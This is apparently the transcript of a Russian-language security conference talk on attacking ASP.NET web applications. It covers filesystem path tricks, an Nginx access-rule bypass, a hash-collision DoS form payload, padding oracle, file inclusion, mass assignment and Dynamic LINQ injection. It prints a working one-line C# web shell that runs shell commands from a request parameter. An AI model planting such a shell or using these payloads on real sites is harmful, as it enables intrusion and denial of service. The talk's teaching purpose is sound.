Взломать web-сайт на asp.net? Сложно, но можно!
TRANSCRIPT
ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET?
СЛОЖНО, НО МОЖНО!
Positive Technologies
Хорошо забытое старое: файловая система
Устройства DOS и зарезервированные имена:
NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - двоеточие необязательно, имена могут использоваться внутри пути
Зарезервированные символы:
< > : " \ / | ? *
Регистронезависимость имен:
Filename == FileName == filename == FILENAME
Поддержка коротких имен «8.3»:
LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT
Завершающие символы:
Filename == Filename... == Filename\\\
Хорошо забытое старое: файловая система
Именованные каналы и почтовые слоты (CreateFile):
\\Host\pipe\<name> , \\Host\mailslot\<name>
Альтернативный синтаксис относительных путей:
C:\Windows\notepad.exe == C:notepad.exe , если \Windows – текущий каталог диска C:
Подстановки (FindFirstFile):
< == * , > == ? , " == .
UNC и Unicode пути:
C:\Windows\System32
\\Host\C$\Windows\System32
\\.\C:\Windows\System32
\\?\C:\Windows\System32
\\?\UNC\Host\C$\Windows\System32
Хорошо забытое старое: файловая система
Метатрибуты и альтернативные потоки данных NTFS:
\Directory:<Name>:<Type>\File:<Name>:<Type>
C:\Windows\hh.exe == C:\Windows:$I30:$INDEX_ALLOCATION\hh.exe
C:\Windows\notepad.exe == C:\Windows\notepad.exe::$DATA
FileName.aspx == FileName.aspx:.jpg
Метатрибуты файлов Метатрибуты индексов
$STANDARD_INFORMATION $INDEX_ROOT
$FILE_NAME $INDEX_ALLOCATION
$DATA $BITMAP
$ATTRIBUTE_LIST
$OBJECT_ID
$REPARSE_POINT
[PT-2012-06] Обход ограничений Nginx
Рейтинг опасности: Средний (5.0) (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Подверженные версии: Nginx for Windows <= v1.3 Вектор: Удаленный
Ошибка позволяла злоумышленнику направлять HTTP-запросы к некоторым URL-адресам в обход правил, определенных в директивах ‘Location’ конфигурации веб-сервера. Эксплуатируя уязвимость, потенциальный хакер мог получить доступ к исходному коду веб-приложения и закрытым разделам сайта, обнаружить новые уязвимости, украсть пароли подключения к базе данных и прочим сервисам и т.д.
:$I30:$INDEX_ALLOCATION
обрабатывались, как часть имени каталога.
[PT-2012-06] Обход ограничений Nginx
http://hostname/.svn/entries
http://hostname/.svn::$INDEX_ALLOCATION/entries
HTTP/1.1 200 OKServer: nginx/1.2.0
HTTP/1.1 403 ForbiddenServer: nginx/1.2.0
* стабильная версия nginx-1.2.0 for Windows, выпущена 2012-04-23
…location ~/.svn/ { deny all;}…
Архитектура платформы .NET
Повреждения памяти
Взаимодействие с native-библиотеками, использование смешанных сборок
MS12-025, апрель 2012: - выполнение произвольного кода за пределами исполняющей среды через переполнение целого и повреждение кучи в gdiplus.dll при вызове конструктора
класса System.Drawing.Imaging.EncoderParameter.
Небезопасный управляемый код
unsafe void bufferOverflow(string s){ char* ptr = stackalloc char[10]; foreach (var c in s) { *ptr++ = c }}
«Turkish I» и не только
Сравнение строк без учета текущей культуры, может привести к непредвиденным последствиям:
Английские культуры: I & iТурецкие культуры: I & ı + İ & i<%@ Page Language="C#" Culture="Auto" %><%@ Import Namespace="System.Globalization" %><! DOCTYPE html>…<script runat="server">…if (Session["mode"].ToLower() != "admin")…if (String.Compare(Request["path"]), 0, "FILE:", 0, 5, true)…
Коллизии хэшей объектов
System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта (принимает значения от -2147483648 до 2147483647).
(http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
Коллизии хэшей в ASP.NET (MS11-100)
Штатная ситуация: Не очень штатная ситуация:
3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&FX4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=&DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=&LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAY
U5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E= =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25E
WGNN5NE
… over 4Mb form data …(https://github.com/HybrisDisaster/aspHashDoS)
Хитрый план (post-mortem MS11-100)
1. Рассчитываем 1000 строк с коллизиями на каждую комбинацию «версия .NET»/«аппаратная платформа»
2. Отправляем каждый из наборов в качестве параметров POST-запроса
3. Замеряем время ответа на каждый запрос
4. ???
5. ;)
Web-стек .NET
ASP.NET / MVC
Специфика ASP.NET
Специальные каталоги и файлы:- App_Browser – определения браузеров
(*.browsers);- App_Code – исходный код вспомогательных классов
и логики;- App_Data – хранилища данных;- App_GlobalResources, App_LocalResources – ресурсы
приложения (*.resx, *.resources);- App_Themes – темы (*.skin, *.css, images, etc);- App_WebReferences – ссылки на web-сервисы
(*.wsdl, *.xsd, *.disco, *.discomap);- Bin – скомпилированные сборки, используемые приложением;- web.config, web.*.config – конфигурационные файлы, определяющие
настройки web-сервера и приложения.
Специфика ASP.NET
Стандартные HTTP-обработчики:- WebResource.axd – доступ к статическим ресурсам, внедренным в сборки
приложения.- ScriptResource.axd – доступ к скриптам js, внедренным в сборки или хранящимся
на диске.Использование:
http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp>Пример:
http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3-kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1Где d, зашифрованный параметр:
Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c38a3a9b
Padding oracle (MS10-070)
Последствия:
– получение ключей, необходимых для шифрования/дешифрования: аутентификационных cookies; ViewState и Event Validation; аргументов для WebRecource.axd и ScriptResource.axd =>
чтение произвольных файлов внутри каталога приложения
Исправления: при ошибке паддинга возвращается обощенная ошибка; используется случайное число в качестве IV; изменен формат шифруемых строк для их валидации; ScriptResource.axd может обрабатывать только *.js файлы.
Специфика ASP.NET
Стандартные HTTP-обработчики:- Trace.axd – трассировка запросов (доступна только в режиме отладки)
Особенности эксплуатации LFI
Response.WriteFile(<vfilename>)- позволяет включать любой файл внутри каталога приложения, кроме *.config;- файл включается статически, выполнения кода не происходит;- принимает в качестве аргумента виртуальное имя файла.Server.Execute(<vfilename>)- позволяет включать любой файл внутри каталога приложения, кроме *.config;- выполняет обработчик для переданного файла, результат включает в ответ;- принимает в качестве аргумента виртуальное имя файла.File.ReadAllText(<filename>)- позволяет включать любой файл, на который есть права;- файл включается статически, выполнения кода не происходит;- принимает в качестве аргумента реальное имя файла.
Минимальный C#-шелл
<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%=Process.Start( new ProcessStartInfo( "cmd","/c " + Request["c"] ) { UseShellExecute = false, RedirectStandardOutput = true }).StandardOutput.ReadToEnd()%>
Состояние представления (ViewState)
Предназначено для передачи на сервер информации об элементах представления.- передается в параметре
__VIEWSTATE;- шифрование и целостность часто
не обеспечиваются;- используется разработчиками,
для хранения данных сессии на клиенте, хотя не предназначено для этого;
- нарушение его целостности может привести к реализации самых разнообразных угроз от XSS до нарушения функциональности приложения.
Подтверждение запросов и событий
Request Validation – встроенный примитивный WAF, направленный на предотвращение атак XSS. Блокируются все запросы, содержащие:
&# < с последующей буквой, !, / и ?
А также, игнорируются сторонние параметры, начинающиеся с __
Event Validation – встроенный механизм валидации данных событий. Представляет собой параметр __EVENTVALIDATION, хранящий хэши допустимых значений элементов форм, событий, ViewState и т.п.
Вопреки бытующему мнению,
неэффективен против CSRF-атак,при стандартной реализации.
Mass assignment
public class User { public int Id { get; set; } public string UserName { get; set; } public string Password { get; set; } public bool IsAdmin { get; set; }}
public class UserController : Controller{ IUserRepository _userRepository; public UserController(IUserRepository userRepository) { _userRepository = userRepository; }
public ActionResult Edit(int id) { var user = _userRepository.GetUserById(id); return View(user); }
[HttpPost] public ActionResult Edit(int id, FormCollection collection) { try { var user = _userRepository.GetUserById(id); UpdateModel(user); _userRepository.SaveUser(user); return RedirectToAction("Index"); } catch { return View(); } }}
Model: Controller:
Mass assignment
(http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)
Внедрение выражений LINQ
LINQ – язык запросов, встроенный в синтаксис .NET-языков.
var result = from item in itemsList where item.field1 % 2 == 0 orderby item.field2 descending select new { item.field2, item.field3 };
var result = itemsList .Where(x => x.field1 % 2 == 0) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);
Expression.Lambda<Predicate<int>>( Expression.Equal( Expression.Modulo( parameterN, Expression.Constant(2) ), Expression.Constant(0) ), parameterN);
Внедрение выражений LINQ
Dynamic LINQ – одна из нескольких существующих библиотек для формирования динамических LINQ-запросов времени исполнения.Возможности:- определение выражений строками;- основные примитивные операции;- доступ к членам статических и экземплярных
типов данных;- создание экземпляров типов и анонимных
типов;
Что, если "modifier" формируется из входных данных и содержит:
0 OR 1 == 1 ?
var modifier = "0";
var result = itemsList .Where("field1 % 2 == " + modifier) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);
Внедрение выражений LINQ
Ограничения инъекций в Dynamic LINQ:- доступ к полям, свойствам и методам возможен только для типа
коллекции или для достижимых типов, определяемых «белым списком»;- все части выражения должны выполняться без ошибок, в сообщениях об
ошибках отсутствует полезный вывод;- инъекции подвержены изолированные части запроса;Возможности инъекций в Dynamic LINQ:- обход аутентификации / авторизации;- неавторизованный доступ к данным коллекции;- нарушение функционала (при наличии у объектов коллекции statefull-
полей);- реализация угрозы отказа в обслуживании (DoS).
В других решениях возможна реализация угрозы удаленного выполнения кода (RCE)
Внедрение выражений LINQ
Демо
Спасибо за внимание!
Вопросы?